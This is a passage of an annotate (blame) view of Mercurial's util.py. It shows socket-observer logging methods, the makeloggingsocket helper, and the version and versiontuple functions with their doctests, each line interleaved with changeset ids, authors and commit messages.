Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
983 if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
984 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
985 b'%s> recvfrom(%d, %d) -> %d' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
986 % (self.name, size, flags, len(res[0])) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
987 ) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
988 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
989 self._writedata(res[0]) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
990 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
991 def recvfrom_into(self, res, buf, size, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
992 if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
993 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
994 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
995 if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
996 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
997 b'%s> recvfrom_into(%d, %d) -> %d' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
998 % (self.name, size, flags, res[0]) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
999 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1000 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1001 self._writedata(buf[0 : res[0]]) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1002 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1003 def recv_into(self, res, buf, size=0, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1004 if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1005 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1006 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1007 if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1008 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1009 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1010 ) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1011 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1012 self._writedata(buf[0:res]) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1013 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1014 def send(self, res, data, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1015 if not self.writes: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1016 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1017 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1018 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1019 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1020 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1021 self._writedata(data) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1022 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1023 def sendall(self, res, data, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1024 if not self.writes: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1025 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1026 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1027 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1028 # Returns None on success. So don't bother reporting return value. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1029 self.fh.write( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1030 b'%s> sendall(%d, %d)' % (self.name, len(data), flags) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1031 ) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1032 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1033 self._writedata(data) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1034 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1035 def sendto(self, res, data, flagsoraddress, address=None): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1036 if not self.writes: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1037 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1038 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1039 if address: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1040 flags = flagsoraddress |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1041 else: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1042 flags = 0 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1043 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1044 if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1045 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1046 b'%s> sendto(%d, %d, %r) -> %d' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1047 % (self.name, len(data), flags, address, res) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1048 ) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1049 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1050 self._writedata(data) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1051 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1052 def setblocking(self, res, flag): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1053 if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1054 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1055 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1056 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag)) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1057 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1058 def settimeout(self, res, value): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1059 if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1060 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1061 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1062 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value)) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1063 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1064 def gettimeout(self, res): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1065 if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1066 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1067 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1068 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res)) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1069 |
39060
ed8160e4fea0
util: fix signature of setsockopt in socket observer
Augie Fackler <augie@google.com>
parents:
38812
diff
changeset
|
1070 def setsockopt(self, res, level, optname, value): |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1071 if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1072 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1073 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1074 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1075 b'%s> setsockopt(%r, %r, %r) -> %r\n' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1076 % (self.name, level, optname, value, res) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1077 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1078 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1079 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1080 def makeloggingsocket( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1081 logh, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1082 fh, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1083 name, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1084 reads=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1085 writes=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1086 states=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1087 logdata=False, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1088 logdataapis=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1089 ): |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1090 """Turn a socket into a logging socket.""" |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1091 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1092 observer = socketobserver( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1093 logh, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1094 name, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1095 reads=reads, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1096 writes=writes, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1097 states=states, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1098 logdata=logdata, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1099 logdataapis=logdataapis, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1100 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1101 return socketproxy(fh, observer) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1102 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1103 |
7632 | 1104 def version(): |
1105 """Return version information if available.""" | |
1106 try: | |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
1107 from . import __version__ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1108 |
7632 | 1109 return __version__.version |
1110 except ImportError: | |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1111 return b'unknown' |
7632 | 1112 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1113 |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1114 def versiontuple(v=None, n=4): |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1115 """Parses a Mercurial version string into an N-tuple. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1116 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1117 The version string to be parsed is specified with the ``v`` argument. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1118 If it isn't defined, the current Mercurial version string will be parsed. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1119 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1120 ``n`` can be 2, 3, or 4. Here is how some version strings map to |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1121 returned values: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1122 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1123 >>> v = b'3.6.1+190-df9b73d2d444' |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1124 >>> versiontuple(v, 2) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1125 (3, 6) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1126 >>> versiontuple(v, 3) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1127 (3, 6, 1) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1128 >>> versiontuple(v, 4) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1129 (3, 6, 1, '190-df9b73d2d444') |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1130 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1131 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1132 (3, 6, 1, '190-df9b73d2d444+20151118') |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1133 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1134 >>> v = b'3.6' |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1135 >>> versiontuple(v, 2) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1136 (3, 6) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1137 >>> versiontuple(v, 3) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1138 (3, 6, None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1139 >>> versiontuple(v, 4) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1140 (3, 6, None, None) |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1141 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1142 >>> v = b'3.9-rc' |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1143 >>> versiontuple(v, 2) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1144 (3, 9) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1145 >>> versiontuple(v, 3) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1146 (3, 9, None) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1147 >>> versiontuple(v, 4) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1148 (3, 9, None, 'rc') |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1149 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1150 >>> v = b'3.9-rc+2-02a8fea4289b' |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1151 >>> versiontuple(v, 2) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1152 (3, 9) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1153 >>> versiontuple(v, 3) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1154 (3, 9, None) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1155 >>> versiontuple(v, 4) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
1156 (3, 9, None, 'rc+2-02a8fea4289b') |
37801
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1157 |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1158 >>> versiontuple(b'4.6rc0') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1159 (4, 6, None, 'rc0') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1160 >>> versiontuple(b'4.6rc0+12-425d55e54f98') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1161 (4, 6, None, 'rc0+12-425d55e54f98') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1162 >>> versiontuple(b'.1.2.3') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1163 (None, None, None, '.1.2.3') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1164 >>> versiontuple(b'12.34..5') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1165 (12, 34, None, '..5') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1166 >>> versiontuple(b'1.2.3.4.5.6') |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1167 (1, 2, 3, '.4.5.6') |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1168 """ |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1169 if not v: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1170 v = version() |
37801
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1171 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v) |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1172 if not m: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1173 vparts, extra = b'', v |
37801
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1174 elif m.group(2): |
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1175 vparts, extra = m.groups() |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1176 else: |
37801
5cab6f5016fa
version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents:
37675
diff
changeset
|
1177 vparts, extra = m.group(1), None |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1178 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1179 vints = [] |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1180 for i in vparts.split(b'.'): |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
1181 try: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
